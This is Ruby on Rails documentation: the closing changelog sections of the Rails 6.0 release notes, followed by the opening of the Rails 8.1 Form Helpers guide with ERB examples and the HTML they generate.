* Update SQLite3 adapter `alter_table` method to restore foreign keys. ([Pull Request](https://github.com/rails/rails/pull/33585))

* Allow the `:to_table` option of `remove_foreign_key` to be invertible. ([Pull Request](https://github.com/rails/rails/pull/33530))

* Fix default value for MySQL time types with specified precision. ([Pull Request](https://github.com/rails/rails/pull/33280))

* Fix the `touch` option to behave consistently with `Persistence#touch` method. ([Pull Request](https://github.com/rails/rails/pull/33107))

* Raise an exception for duplicate column definitions in Migrations. ([Pull Request](https://github.com/rails/rails/pull/33029))

* Bump the minimum SQLite version to 3.8. ([Pull Request](https://github.com/rails/rails/pull/32923))

* Fix parent records to not get saved with duplicate children records. ([Pull Request](https://github.com/rails/rails/pull/32952))

* Ensure `Associations::CollectionAssociation#size` and `Associations::CollectionAssociation#empty?` use loaded association ids if present. ([Pull Request](https://github.com/rails/rails/pull/32617))

* Add support to preload associations of polymorphic associations when not all the records have the requested associations. ([Commit](https://github.com/rails/rails/commit/75ef18c67c29b1b51314b6c8a963cee53394080b))

* Add `touch_all` method to `ActiveRecord::Relation`. ([Pull Request](https://github.com/rails/rails/pull/31513))

* Add `ActiveRecord::Base.base_class?` predicate. ([Pull Request](https://github.com/rails/rails/pull/32417))

* Add custom prefix/suffix options to `ActiveRecord::Store.store_accessor`. ([Pull Request](https://github.com/rails/rails/pull/32306))

* Add `ActiveRecord::Base.create_or_find_by`/`!` to deal with the SELECT/INSERT race condition in `ActiveRecord::Base.find_or_create_by`/`!` by leaning on unique constraints in the database. ([Pull Request](https://github.com/rails/rails/pull/31989))

* Add `Relation#pick` as short-hand for single-value plucks. ([Pull Request](https://github.com/rails/rails/pull/31941))

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

### [9.2. Deprecations](#active-storage-deprecations)

* Deprecate `config.active_storage.queue` in favor of `config.active_storage.queues.analysis` and `config.active_storage.queues.purge`. ([Pull Request](https://github.com/rails/rails/pull/34838))

* Deprecate `ActiveStorage::Downloading` in favor of `ActiveStorage::Blob#open`. ([Commit](https://github.com/rails/rails/commit/ee21b7c2eb64def8f00887a9fafbd77b85f464f1))

* Deprecate using `mini_magick` directly for generating image variants in favor of `image_processing`. ([Commit](https://github.com/rails/rails/commit/697f4a93ad386f9fb7795f0ba68f815f16ebad0f))

* Deprecate `:combine_options` in Active Storage's ImageProcessing transformer without replacement. ([Commit](https://github.com/rails/rails/commit/697f4a93ad386f9fb7795f0ba68f815f16ebad0f))

### [9.3. Notable changes](#active-storage-notable-changes)

* Add support for generating BMP image variants. ([Pull Request](https://github.com/rails/rails/pull/36051))

* Add support for generating TIFF image variants. ([Pull Request](https://github.com/rails/rails/pull/34824))

* Add support for generating progressive JPEG image variants. ([Pull Request](https://github.com/rails/rails/pull/34455))

* Add `ActiveStorage.routes_prefix` for configuring the Active Storage generated routes. ([Pull Request](https://github.com/rails/rails/pull/33883))

* Generate a 404 Not Found response on `ActiveStorage::DiskController#show` when the requested file is missing from the disk service. ([Pull Request](https://github.com/rails/rails/pull/33666))

* Raise `ActiveStorage::FileNotFoundError` when the requested file is missing for `ActiveStorage::Blob#download` and `ActiveStorage::Blob#open`. ([Pull Request](https://github.com/rails/rails/pull/33666))

* Add a generic `ActiveStorage::Error` class that Active Storage exceptions inherit from. ([Commit](https://github.com/rails/rails/commit/18425b837149bc0d50f8d5349e1091a623762d6b))

* Persist uploaded files assigned to a record to storage when the record is saved instead of immediately. ([Pull Request](https://github.com/rails/rails/pull/33303))

* Optionally replace existing files instead of adding to them when assigning to a collection of attachments (as in `@user.update!(images: [ … ])`). Use `config.active_storage.replace_on_assign_to_many` to control this behavior. ([Pull Request](https://github.com/rails/rails/pull/33303), [Pull Request](https://github.com/rails/rails/pull/36716))

* Add the ability to reflect on defined attachments using the existing Active Record reflection mechanism. ([Pull Request](https://github.com/rails/rails/pull/33018))

* Add `ActiveStorage::Blob#open`, which downloads a blob to a tempfile on disk and yields the tempfile. ([Commit](https://github.com/rails/rails/commit/ee21b7c2eb64def8f00887a9fafbd77b85f464f1))

* Support streaming downloads from Google Cloud Storage. Require version 1.11+ of the `google-cloud-storage` gem. ([Pull Request](https://github.com/rails/rails/pull/32788))

* Use the `image_processing` gem for Active Storage variants. This replaces using `mini_magick` directly. ([Pull Request](https://github.com/rails/rails/pull/32471))

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

* Add a configuration option to customize format of the `ActiveModel::Errors#full_message`. ([Pull Request](https://github.com/rails/rails/pull/32956))

* Add support for configuring attribute name for `has_secure_password`. ([Pull Request](https://github.com/rails/rails/pull/26764))

* Add `#slice!` method to `ActiveModel::Errors`. ([Pull Request](https://github.com/rails/rails/pull/34489))

* Add `ActiveModel::Errors#of_kind?` to check presence of a specific error. ([Pull Request](https://github.com/rails/rails/pull/34866))

* Fix `ActiveModel::Serializers::JSON#as_json` method for timestamps. ([Pull Request](https://github.com/rails/rails/pull/31503))

* Fix numericality validator to still use value before type cast except Active Record. ([Pull Request](https://github.com/rails/rails/pull/33654))

* Fix numericality equality validation of `BigDecimal` and `Float` by casting to `BigDecimal` on both ends of the validation. ([Pull Request](https://github.com/rails/rails/pull/32852))

* Fix year value when casting a multiparameter time hash. ([Pull Request](https://github.com/rails/rails/pull/34990))

* Type cast falsy boolean symbols on boolean attribute as false. ([Pull Request](https://github.com/rails/rails/pull/35794))

* Return correct date while converting parameters in `value_from_multiparameter_assignment` for `ActiveModel::Type::Date`. ([Pull Request](https://github.com/rails/rails/pull/29651))

* Fall back to parent locale before falling back to the `:errors` namespace while fetching error translations. ([Pull Request](https://github.com/rails/rails/pull/35424))

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated `#acronym_regex` method from `Inflections`. ([Commit](https://github.com/rails/rails/commit/0ce67d3cd6d1b7b9576b07fecae3dd5b422a5689))

* Remove deprecated `Module#reachable?` method. ([Commit](https://github.com/rails/rails/commit/6eb1d56a333fd2015610d31793ed6281acd66551))

* Remove `` Kernel#` `` without any replacement. ([Pull Request](https://github.com/rails/rails/pull/31253))

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate using negative integer arguments for `String#first` and `String#last`. ([Pull Request](https://github.com/rails/rails/pull/33058))

* Deprecate `ActiveSupport::Multibyte::Unicode#downcase/upcase/swapcase` in favor of `String#downcase/upcase/swapcase`. ([Pull Request](https://github.com/rails/rails/pull/34123))

* Deprecate `ActiveSupport::Multibyte::Unicode#normalize` and `ActiveSupport::Multibyte::Chars#normalize` in favor of `String#unicode_normalize`. ([Pull Request](https://github.com/rails/rails/pull/34202))

* Deprecate `ActiveSupport::Multibyte::Chars.consumes?` in favor of `String#is_utf8?`. ([Pull Request](https://github.com/rails/rails/pull/34215))

* Deprecate `ActiveSupport::Multibyte::Unicode#pack_graphemes(array)` and `ActiveSupport::Multibyte::Unicode#unpack_graphemes(string)` in favor of `array.flatten.pack("U*")` and `string.scan(/\X/).map(&:codepoints)`, respectively. ([Pull Request](https://github.com/rails/rails/pull/34254))

### [11.3. Notable changes](#active-support-notable-changes)

* Add support for parallel testing. ([Pull Request](https://github.com/rails/rails/pull/31900))

* Make sure that `String#strip_heredoc` preserves frozen-ness of strings. ([Pull Request](https://github.com/rails/rails/pull/32037))

* Add `String#truncate_bytes` to truncate a string to a maximum bytesize without breaking multibyte characters or grapheme clusters. ([Pull Request](https://github.com/rails/rails/pull/27319))

* Add `private` option to `delegate` method in order to delegate to private methods. This option accepts `true/false` as the value. ([Pull Request](https://github.com/rails/rails/pull/31944))

* Add support for translations through I18n for `ActiveSupport::Inflector#ordinal` and `ActiveSupport::Inflector#ordinalize`. ([Pull Request](https://github.com/rails/rails/pull/32168))

* Add `before?` and `after?` methods to `Date`, `DateTime`, `Time`, and `TimeWithZone`. ([Pull Request](https://github.com/rails/rails/pull/32185))

* Fix bug where `URI.unescape` would fail with mixed Unicode/escaped character input. ([Pull Request](https://github.com/rails/rails/pull/32183))

* Fix bug where `ActiveSupport::Cache` would massively inflate the storage size when compression was enabled. ([Pull Request](https://github.com/rails/rails/pull/32539))

* Redis cache store: `delete_matched` no longer blocks the Redis server. ([Pull Request](https://github.com/rails/rails/pull/32614))

* Fix bug where `ActiveSupport::TimeZone.all` would fail when tzinfo data for any timezone defined in `ActiveSupport::TimeZone::MAPPING` was missing. ([Pull Request](https://github.com/rails/rails/pull/32613))

* Add `Enumerable#index_with` which allows creating a hash from an enumerable with the value from a passed block or a default argument. ([Pull Request](https://github.com/rails/rails/pull/32523))

* Allow `Range#===` and `Range#cover?` methods to work with `Range` argument. ([Pull Request](https://github.com/rails/rails/pull/32938))

* Support key expiry in `increment/decrement` operations of RedisCacheStore. ([Pull Request](https://github.com/rails/rails/pull/33254))

* Add cpu time, idle time, and allocations features to log subscriber events. ([Pull Request](https://github.com/rails/rails/pull/33449))

* Add support for event object to the Active Support notification system. ([Pull Request](https://github.com/rails/rails/pull/33451))

* Add support for not caching `nil` entries by introducing new option `skip_nil` for `ActiveSupport::Cache#fetch`. ([Pull Request](https://github.com/rails/rails/pull/25437))

* Add `Array#extract!` method which removes and returns the elements for which block returns a true value. ([Pull Request](https://github.com/rails/rails/pull/33137))

* Keep an HTML-safe string HTML-safe after slicing. ([Pull Request](https://github.com/rails/rails/pull/33808))

* Add support for tracing constant autoloads via logging. ([Commit](https://github.com/rails/rails/commit/c03bba4f1f03bad7dc034af555b7f2b329cf76f5))

* Define `unfreeze_time` as an alias of `travel_back`. ([Pull Request](https://github.com/rails/rails/pull/33813))

* Change `ActiveSupport::TaggedLogging.new` to return a new logger instance instead of mutating the one received as argument. ([Pull Request](https://github.com/rails/rails/pull/27792))

* Treat `#delete_prefix`, `#delete_suffix` and `#unicode_normalize` methods as non HTML-safe methods. ([Pull Request](https://github.com/rails/rails/pull/33990))

* Fix bug where `#without` for `ActiveSupport::HashWithIndifferentAccess` would fail with symbol arguments. ([Pull Request](https://github.com/rails/rails/pull/34012))

* Rename `Module#parent`, `Module#parents`, and `Module#parent_name` to `module_parent`, `module_parents`, and `module_parent_name`. ([Pull Request](https://github.com/rails/rails/pull/34051))

* Add `ActiveSupport::ParameterFilter`. ([Pull Request](https://github.com/rails/rails/pull/34039))

* Fix issue where duration was being rounded to a full second when a float was added to the duration. ([Pull Request](https://github.com/rails/rails/pull/34135))

* Make `#to_options` an alias for `#symbolize_keys` in `ActiveSupport::HashWithIndifferentAccess`. ([Pull Request](https://github.com/rails/rails/pull/34360))

* Don't raise an exception anymore if the same block is included multiple times for a Concern. ([Pull Request](https://github.com/rails/rails/pull/34553))

* Preserve key order passed to `ActiveSupport::CacheStore#fetch_multi`. ([Pull Request](https://github.com/rails/rails/pull/34700))

* Fix `String#safe_constantize` to not throw a `LoadError` for incorrectly cased constant references. ([Pull Request](https://github.com/rails/rails/pull/34892))

* Add `Hash#deep_transform_values` and `Hash#deep_transform_values!`. ([Commit](https://github.com/rails/rails/commit/b8dc06b8fdc16874160f61dcf58743fcc10e57db))

* Add `ActiveSupport::HashWithIndifferentAccess#assoc`. ([Pull Request](https://github.com/rails/rails/pull/35080))

* Add `before_reset` callback to `CurrentAttributes` and define `after_reset` as an alias of `resets` for symmetry. ([Pull Request](https://github.com/rails/rails/pull/35063))

* Revise `ActiveSupport::Notifications.unsubscribe` to correctly handle Regex or other multiple-pattern subscribers. ([Pull Request](https://github.com/rails/rails/pull/32861))

* Add new autoloading mechanism using Zeitwerk. ([Commit](https://github.com/rails/rails/commit/e53430fa9af239e21e11548499d814f540d421e5))

* Add `Array#including` and `Enumerable#including` to conveniently enlarge a collection. ([Commit](https://github.com/rails/rails/commit/bfaa3091c3c32b5980a614ef0f7b39cbf83f6db3))

* Rename `Array#without` and `Enumerable#without` to `Array#excluding` and `Enumerable#excluding`. Old method names are retained as aliases. ([Commit](https://github.com/rails/rails/commit/bfaa3091c3c32b5980a614ef0f7b39cbf83f6db3))

* Add support for supplying `locale` to `transliterate` and `parameterize`. ([Pull Request](https://github.com/rails/rails/pull/35571))

* Fix `Time#advance` to work with dates before 1001-03-07. ([Pull Request](https://github.com/rails/rails/pull/35659))

* Update `ActiveSupport::Notifications::Instrumenter#instrument` to allow not passing block. ([Pull Request](https://github.com/rails/rails/pull/35705))

* Use weak references in descendants tracker to allow anonymous subclasses to be garbage collected. ([Pull Request](https://github.com/rails/rails/pull/31442))

* Calling test methods with `with_info_handler` method to allow minitest-hooks plugin to work. ([Commit](https://github.com/rails/rails/commit/758ba117a008b6ea2d3b92c53b6a7a8d7ccbca69))

* Preserve `html_safe?` status on `ActiveSupport::SafeBuffer#*`. ([Pull Request](https://github.com/rails/rails/pull/36012))

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Remove support for Qu gem. ([Pull Request](https://github.com/rails/rails/pull/32300))

### [12.2. Deprecations](#active-job-deprecations)

### [12.3. Notable changes](#active-job-notable-changes)

* Add support for custom serializers for Active Job arguments. ([Pull Request](https://github.com/rails/rails/pull/30941))

* Add support for executing Active Jobs in the timezone in which they were enqueued. ([Pull Request](https://github.com/rails/rails/pull/32085))

* Allow passing multiple exceptions to `retry_on`/`discard_on`. ([Commit](https://github.com/rails/rails/commit/3110caecbebdad7300daaf26bfdff39efda99e25))

* Allow calling `assert_enqueued_with` and `assert_enqueued_email_with` without a block. ([Pull Request](https://github.com/rails/rails/pull/33258))

* Wrap the notifications for `enqueue` and `enqueue_at` in the `around_enqueue` callback instead of `after_enqueue` callback. ([Pull Request](https://github.com/rails/rails/pull/33171))

* Allow calling `perform_enqueued_jobs` without a block. ([Pull Request](https://github.com/rails/rails/pull/33626))

* Allow calling `assert_performed_with` without a block. ([Pull Request](https://github.com/rails/rails/pull/33635))

* Add `:queue` option to job assertions and helpers. ([Pull Request](https://github.com/rails/rails/pull/33635))

* Add hooks to Active Job around retries and discards. ([Pull Request](https://github.com/rails/rails/pull/33751))

* Add a way to test for subset of arguments when performing jobs. ([Pull Request](https://github.com/rails/rails/pull/33995))

* Include deserialized arguments in jobs returned by Active Job test helpers. ([Pull Request](https://github.com/rails/rails/pull/34204))

* Allow Active Job assertion helpers to accept Proc for `only` keyword. ([Pull Request](https://github.com/rails/rails/pull/34339))

* Drop microseconds and nanoseconds from the job arguments in assertion helpers. ([Pull Request](https://github.com/rails/rails/pull/35713))

## [13. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/6-0-stable/guides/CHANGELOG.md) for detailed changes.

### [13.1. Notable changes](#notable-changes)

* Add Multiple Databases with Active Record guide. ([Pull Request](https://github.com/rails/rails/pull/36389))

* Add a section about troubleshooting of autoloading constants. ([Commit](https://github.com/rails/rails/commit/c03bba4f1f03bad7dc034af555b7f2b329cf76f5))

* Add Action Mailbox Basics guide. ([Pull Request](https://github.com/rails/rails/pull/34812))

* Add Action Text Overview guide. ([Pull Request](https://github.com/rails/rails/pull/34878))

## [14. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/form_helpers.html
----

***

This guide is not intended to be a complete list of all available form helpers. Please refer to [the Rails API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers.html) for an exhaustive list of form helpers and their arguments.

## [1. Working with Basic Forms](#working-with-basic-forms)

The main form helper is [`form_with`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).

```
<%= form_with do |form| %>
  Form contents
<% end %>
```

When called without arguments, it creates an HTML `<form>` tag with the value of the `method` attribute set to `post` and the value of the `action` attribute set to the current page. For example, assuming the current page is a home page at `/home`, the generated HTML will look like this:

```
<form action="/home" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="Lz6ILqUEs2CGdDa-oz38TqcqQORavGnbGkG0CQA8zc8peOps-K7sHgFSTPSkBx89pQxh3p5zPIkjoOTiA_UWbQ" autocomplete="off">
  Form contents
</form>
```

Notice that the form contains an `input` element with type `hidden`. This `authenticity_token` hidden input is required for non-GET form submissions. This token is a security feature in Rails used to prevent cross-site request forgery (CSRF) attacks, and form helpers automatically generate it for every non-GET form (assuming the security feature is enabled). You can read more about it in the [Securing Rails Applications](security.html#cross-site-request-forgery-csrf) guide.

### [1.1. A Generic Search Form](#a-generic-search-form)

One of the most basic forms on the web is a search form. This form contains:

* a form element with "GET" method,
* a label for the input,
* a text input element, and
* a submit element.

Here is how to create a search form with `form_with`:

```
<%= form_with url: "/search", method: :get do |form| %>
  <%= form.label :query, "Search for:" %>
  <%= form.search_field :query %>
  <%= form.submit "Search" %>
<% end %>
```

This will generate the following HTML:

```
<form action="/search" accept-charset="UTF-8" method="get">
  <label for="query">Search for:</label>
  <input type="search" name="query" id="query">
  <input type="submit" name="commit" value="Search" data-disable-with="Search">
</form>
```

Notice that for the search form we are using the `url` option of `form_with`. Setting `url: "/search"` changes the form action value from the default current page path to `action="/search"`.

In general, passing `url: my_path` to `form_with` tells the form where to make the request. The other option is to pass Active Model objects to the form, as you will learn [below](#creating-forms-with-model-objects). You can also use [URL helpers](routing.html#path-and-url-helpers).

The search form example above also shows the [form builder](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html) object. You will learn about the many helpers provided by the form builder object (like`form.label` and `form.text_field`) in the next section.

For every form `input` element, an `id` attribute is generated from its name (`"query"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.

Use "GET" as the method for search forms. In general, Rails conventions encourage using the right HTTP verb for controller actions. Using "GET" for search allows users to bookmark a specific search.

### [1.2. Helpers for Generating Form Elements](#helpers-for-generating-form-elements)

The form builder object yielded by `form_with` provides many helper methods for generating common form elements such as text fields, checkboxes, and radio buttons.

The first argument to these methods is always the name of the input. This is useful to remember because when the form is submitted, that name will be passed to the controller along with the form data in the `params` hash. The name will be the key in the `params` for the value entered by the user for that field.

For example, if the form contains `<%= form.text_field :query %>`, then you would be able to get the value of this field in the controller with `params[:query]`.

When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in the [Form Input Naming Conventions and Params Hash](#form-input-naming-conventions-and-params-hash) section of this guide. For details on the precise usage of these helpers, please refer to the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormTagHelper.html).

#### [1.2.1. Checkboxes](#checkboxes)

A Checkbox is a form control that allows for a single value to be selected or deselected. A group of Checkboxes is generally used to allow a user to choose one or more options from the group.

Here's an example with three checkboxes in a form:

```
<%= form.checkbox :biography %>
<%= form.label :biography, "Biography" %>
<%= form.checkbox :romance %>
<%= form.label :romance, "Romance" %>
<%= form.checkbox :mystery %>
<%= form.label :mystery, "Mystery" %>
```

The above will generate the following:

```
<input name="biography" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="biography" id="biography">
<label for="biography">Biography</label>
<input name="romance" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="romance" id="romance">
<label for="romance">Romance</label>
<input name="mystery" type="hidden" value="0" autocomplete="off"><input type="checkbox" value="1" name="mystery" id="mystery">
<label for="mystery">Mystery</label>
```

The first parameter to [`checkbox`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) is the name of the input which can be found in the `params` hash. If the user has checked the "Biography" checkbox only, the `params` hash would contain:

```
{
  "biography" => "1",
  "romance" => "0",
  "mystery" => "0"
}
```

You can use `params[:biography]` to check if that checkbox is selected by the user.

The checkbox's values (the values that will appear in `params`) can optionally be specified using the `checked_value` and `unchecked_value` parameters. See the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-checkbox) for more details.

There is also a `collection_checkboxes`, which you can learn about in the [Collection Related Helpers section](#collection-related-helpers).

#### [1.2.2. Radio Buttons](#radio-buttons)

Radio buttons are form controls that only allow the user to select one option at a time from the list of choices.

For example, radio buttons for choosing your favorite ice cream flavor:

```
<%= form.radio_button :flavor, "chocolate_chip" %>
<%= form.label :flavor_chocolate_chip, "Chocolate Chip" %>
<%= form.radio_button :flavor, "vanilla" %>
<%= form.label :flavor_vanilla, "Vanilla" %>
<%= form.radio_button :flavor, "hazelnut" %>
<%= form.label :flavor_hazelnut, "Hazelnut" %>
```

The above will generate the following HTML:

```
<input type="radio" value="chocolate_chip" name="flavor" id="flavor_chocolate_chip">
<label for="flavor_chocolate_chip">Chocolate Chip</label>
<input type="radio" value="vanilla" name="flavor" id="flavor_vanilla">
<label for="flavor_vanilla">Vanilla</label>
<input type="radio" value="hazelnut" name="flavor" id="flavor_hazelnut">
<label for="flavor_hazelnut">Hazelnut</label>
```

The second argument to [`radio_button`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-radio_button) is the value of the input. Because these radio buttons share the same name (`flavor`), the user will only be able to select one of them, and `params[:flavor]` will contain either `"chocolate_chip"`, `"vanilla"`, or `hazelnut`.

Always use labels for checkbox and radio buttons. They associate text with a specific option using the `for` attribute and, by expanding the clickable region, make it easier for users to click the inputs.

### [1.3. Other Helpers of Interest](#other-helpers-of-interest)

There are many other form controls including text, email, password, date, and time. The below examples show some more helpers and their generated HTML.

Date and time related helpers:

```
<%= form.date_field :born_on %>
<%= form.time_field :started_at %>
<%= form.datetime_local_field :graduation_day %>
<%= form.month_field :birthday_month %>
<%= form.week_field :birthday_week %>
```

Output:

```
<input type="date" name="born_on" id="born_on">
<input type="time" name="started_at" id="started_at">
<input type="datetime-local" name="graduation_day" id="graduation_day">
<input type="month" name="birthday_month" id="birthday_month">
<input type="week" name="birthday_week" id="birthday_week">
```

Helpers with special formatting:

```
<%= form.password_field :password %>
<%= form.email_field :address %>
<%= form.telephone_field :phone %>
<%= form.url_field :homepage %>
```

Output:

```
<input type="password" name="password" id="password">
<input type="email" name="address" id="address">
<input type="tel" name="phone" id="phone">
<input type="url" name="homepage" id="homepage">
```

Other common helpers:

```
<%= form.textarea :message, size: "70x5" %>
<%= form.hidden_field :parent_id, value: "foo" %>
<%= form.number_field :price, in: 1.0..20.0, step: 0.5 %>
<%= form.range_field :discount, in: 1..100 %>
<%= form.search_field :name %>
<%= form.color_field :favorite_color %>
```

Output:

```
<textarea name="message" id="message" cols="70" rows="5"></textarea>
<input value="foo" autocomplete="off" type="hidden" name="parent_id" id="parent_id">
<input step="0.5" min="1.0" max="20.0" type="number" name="price" id="price">
<input min="1" max="100" type="range" name="discount" id="discount">
<input type="search" name="name" id="name">
<input value="#000000" type="color" name="favorite_color" id="favorite_color">
```

Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.

If you're using password input fields, you might want to configure your application to prevent those parameters from being logged. You can learn about how in the [Securing Rails Applications](security.html#logging) guide.

## [2. Creating Forms with Model Objects](#creating-forms-with-model-objects)

### [2.1. Binding a Form to an Object](#binding-a-form-to-an-object)

The `form_with` helper has a `:model` option that allows you to bind the form builder object to a model object. This means that the form will be scoped to that model object, and the form's fields will be populated with values from that model object.

For example, if we have a `@book` model object:

```
@book = Book.new
# => #<Book id: nil, title: nil, author: nil>
```

And the following form to create a new book:

```
<%= form_with model: @book do |form| %>
  <div>
    <%= form.label :title %>
    <%= form.text_field :title %>
  </div>
  <div>
    <%= form.label :author %>
    <%= form.text_field :author %>
  </div>
  <%= form.submit %>
<% end %>
```

It will generate this HTML:

```
<form action="/books" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="ChwHeyegcpAFDdBvXvDuvbfW7yCA3e8gvhyieai7DhG28C3akh-dyuv-IBittsjPrIjETlQQvQJ91T77QQ8xWA" autocomplete="off">
  <div>
    <label for="book_title">Title</label>
    <input type="text" name="book[title]" id="book_title">
  </div>
  <div>
    <label for="book_author">Author</label>
    <input type="text" name="book[author]" id="book_author">
  </div>
  <input type="submit" name="commit" value="Create Book" data-disable-with="Create Book">
</form>
```

Some important things to notice when using `form_with` with a model object:

* The form `action` is automatically filled with an appropriate value, `action="/books"`. If you were updating a book, it would be `action="/books/42"`.
* The form field names are scoped with `book[...]`. This means that `params[:book]` will be a hash containing all these field's values. You can read more about the significance of input names in chapter [Form Input Naming Conventions and Params Hash](#form-input-naming-conventions-and-params-hash) of this guide.
* The submit button is automatically given an appropriate text value, "Create Book" in this case.

Typically your form inputs will mirror model attributes. However, they don't have to. If there is other information you need you can include a field in your form and access it via `params[:book][:my_non_attribute_input]`.

#### [2.1.1. Composite Primary Key Forms](#composite-primary-key-forms)

If you have a model with a [composite primary key](active_record_composite_primary_keys.html), the form building syntax is the same with slightly different output.

For example, to update a `@book` model object with a composite key `[:author_id, :id]` like this:

```
@book = Book.find([2, 25])
# => #<Book id: 25, title: "Some book", author_id: 2>
```

The following form:

```
<%= form_with model: @book do |form| %>
  <%= form.text_field :title %>
  <%= form.submit %>
<% end %>
```

Will generate this HTML output:

```
<form action="/books/2_25" method="post" accept-charset="UTF-8" >
  <input name="authenticity_token" type="hidden" value="ChwHeyegcpAFDdBvXvDuvbfW7yCA3e8gvhyieai7DhG28C3akh-dyuv-IBittsjPrIjETlQQvQJ91T77QQ8xWA" />
  <input type="text" name="book[title]" id="book_title" value="Some book" />
  <input type="submit" name="commit" value="Update Book" data-disable-with="Update Book">
</form>
```

Note the generated URL contains the `author_id` and `id` delimited by an underscore. Once submitted, the controller can [extract each primary key value](action_controller_overview.html#composite-key-parameters) from the parameters and update the record as it would with a singular primary key.

#### [2.1.2. The `fields_for` Helper](#the-fields-for-helper)

The `fields_for` helper is used to render fields for related model objects within the same form. The associated "inner" model is usually related to the "main" form model via an Active Record association. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a single form with inputs for both models like so:

```
<%= form_with model: @person do |person_form| %>
  <%= person_form.text_field :name %>
  <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %>
    <%= contact_detail_form.text_field :phone_number %>
  <% end %>
<% end %>
```

The above will produce the following output:

```
<form action="/people" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="..." autocomplete="off" />
  <input type="text" name="person[name]" id="person_name" />
  <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" />
</form>
```

The object yielded by `fields_for` is a form builder like the one yielded by `form_with`. The `fields_for` helper creates a similar binding but without rendering a `<form>` tag. You can learn more about `fields_for` in the [API docs](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-fields_for).

### [2.2. Relying on Record Identification](#relying-on-record-identification)

When dealing with RESTful resources, calls to `form_with` can be simplified by relying on **record identification**. This means you pass the model instance and have Rails figure out the model name, method, and other things. In the example below for creating a new record, both calls to `form_with` generate the same HTML:

```
# longer way:
form_with(model: @article, url: articles_path)
# short-hand:
form_with(model: @article)
```

Similarly, for editing an existing article like below, both the calls to `form_with` will also generate the same HTML:

```
# longer way:
form_with(model: @article, url: article_path(@article), method: "patch")
# short-hand:
form_with(model: @article)
```

Notice how the short-hand `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking [`record.persisted?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-persisted-3F). It also selects the correct path to submit to, and the name based on the class of the object.

This is assuming that the `Article` model is declared with `resources :articles` in the routes file.

If you have a [singular resource](routing.html#singular-resources), you will need to call `resource` and `resolve` for it to work with `form_with`:

```
resource :article
resolve("Article") { [:article] }
```

Declaring a resource has a number of side effects. See the [Rails Routing from the Outside In](routing.html#resource-routing-the-rails-default) guide for more information on setting up and using resources.

When you're using [single-table inheritance](association_basics.html#single-table-inheritance-sti) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify `:url`, and `:scope` (the model name) explicitly.

### [2.3. Working with Namespaces](#working-with-namespaces)

If you have namespaced routes, `form_with` has a shorthand for that. For example, if your application has an `admin` namespace:

```
form_with model: [:admin, @article]
```

The above will create a form that submits to the `Admin::ArticlesController` inside the admin namespace, therefore submitting to `admin_article_path(@article)` in the case of an update.

If you have several levels of namespacing then the syntax is similar:

```
form_with model: [:admin, :management, @article]
```

For more information on Rails' routing system and the associated conventions, please see the [Rails Routing from the Outside In](routing.html) guide.

### [2.4. Forms with PATCH, PUT, or DELETE Methods](#forms-with-patch-put-or-delete-methods)

The Rails framework encourages RESTful design, which means forms in your application will make requests where the `method` is `PATCH`, `PUT`, or `DELETE` in addition to `GET` and `POST`. However, HTML forms *don't support* methods other than `GET` and `POST` when it comes to submitting forms.

Rails works around this limitation by emulating other methods over POST with a hidden input named `"_method"`. For example:

```
form_with(url: search_path, method: "patch")
```

The above form Will generate this HTML output:

```
<form action="/search" accept-charset="UTF-8" method="post">
  <input type="hidden" name="_method" value="patch" autocomplete="off">
  <input type="hidden" name="authenticity_token" value="R4quRuXQAq75TyWpSf8AwRyLt-R1uMtPP1dHTTWJE5zbukiaY8poSTXxq3Z7uAjXfPHiKQDsWE1i2_-h0HSktQ" autocomplete="off">
<!-- ... -->
</form>
```

When parsing POSTed data, Rails will take into account the special `_method` parameter and proceed as if the request's HTTP method was the one set as the value of `_method` (`PATCH` in this example).

